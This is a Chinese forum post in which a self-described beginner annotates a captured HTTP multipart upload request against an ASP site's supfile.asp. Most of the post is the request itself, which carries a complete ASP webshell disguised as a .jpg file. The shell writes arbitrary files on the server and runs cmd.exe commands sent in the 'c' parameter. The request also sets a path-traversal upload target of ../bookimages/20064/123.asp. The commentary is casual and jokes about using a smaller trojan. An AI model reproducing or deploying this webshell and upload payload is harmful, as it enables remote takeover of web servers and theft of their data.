既然sobiny 前辈都提出来了 我就稍微说下那破包的问题吧 咳~~还真累(谁让我比较和蔼可亲呢)
不过我也不是很懂 错了不要再来骂我啊 菜鸟怎么这么难呢 想跟你们学点网络安全都这么难[s:75]
POST /manage/supfile.asp HTTP/1.1
表单提交 提交目标supfile.asp
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
这个不是很懂 也没研究过 跟系统有关 如果是动易的话就应该是动易那个默认的图片文件夹有关了
(其实这个没什么用 我感觉是这样 呵呵)
Referer:
http://www.xxxx.com/manage/upfile.asp
提交地址
Accept-Language: zh-cn
语言 这个我多嘴了 都知道
Content-Type: multipart/form-data; boundary=---------------------------7d6242301106d2
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
这是楼主的PC IE 信息 他就用这个判断用户的IE版本 系统等 (我好象都再废话,高手别看,我只是在这瞎白虎一下而已 呵呵)
Host:
www.xxxx.com
主机地址
Content-Length: 1992
楼主上传提交的字节数 好大啊 建议楼主换个小点的马 呵呵
Connection: Keep-Alive
Cache-Control: no-cache
连接说明而已 没毛用 设定最大缓存那些东西 也许有些站长会自己去设置一些东西改最大缓存
Cookie: Cwj=username=asd123; ASPSESSIONIDQARSDSRB=FHOEGEKBDCDAJNAKJEBAPHNP
这个应该玩网络安全的都比我明白
username=asd123 楼主的名字
ASPSESSIONIDQARSDSRB=FHOEGEKBDCDAJNAKJEBAPHNP
根据这个如果有经验的应该能判断出一些有用的数据库信息 我不怎么懂 用的太少了哦 菜鸟嘛
都说可以判断版本 我怎么就总搞乱了呢 总错 呵呵
Content-Disposition: form-data; name="act"
upload
之后这些不用说了吧 上传操作对象
../bookimages/20064/123.asp 上传路径(但可不一定准儿哦)
以后就楼主的信息 不用啥分析啦吧
Content-Disposition: form-data; name="file1"; filename="H:\工具\tools\Web木马\webshell\shell.jpg"
Content-Type: text/html
这些谁都明白 楼主最清楚 呵呵
<html><body>
<STYLE TYPE="text/css">textarea,input,body,select,pre,td,th{font-family: "宋体";font-size: 9pt}.button {border-width: 1px}
.text {border:solid 1px}</STYLE>
<Title>壹朗上传</Title>
<%Dim objFSO%>
<%Dim fdata%>
<%Dim objCountFile%>
<%on error resume next%>
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
<%if Trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<font color=red>保存成功.请返回刷新页面!</font>
<%else%>
<font color=red>保存失败.可能服务器不支持FSO</font>
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<form action='' method=post>
<font color=red>请输入文件保存路径:</font><br>
<input type=text name=syfdpath width=32 value="<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>"
style="border:solid 1px" size=80><br>
输入马的内容:<br>
<textarea name=cyfddata cols=80 rows=10 width=32 style="border:solid 1px"></textarea>
<br><input type=submit value=保存 style="border:solid 1px">
</form><form action="" method="post">
CMD命令:<input type=text name=c style="border:solid 1px" size=73><br>
<textarea cols=80 rows=20 style="border:solid 1px">
<%=server.createobject("wscript.shell").exec("cmd.exe /c" &request("c")).stdout.readall%>
</textarea></form></body></html>
-----------------------------7d6242301106d2
Content-Disposition: form-data; name="Submit"
提交
小马上传回显 没成功 我也替楼主惋惜 菜鸟学习是很不容易 什么时候高手都能同情一些我们这些菜鸟哦
好象学点网络安全 保护自己的服务器
[s:35] [s:35]
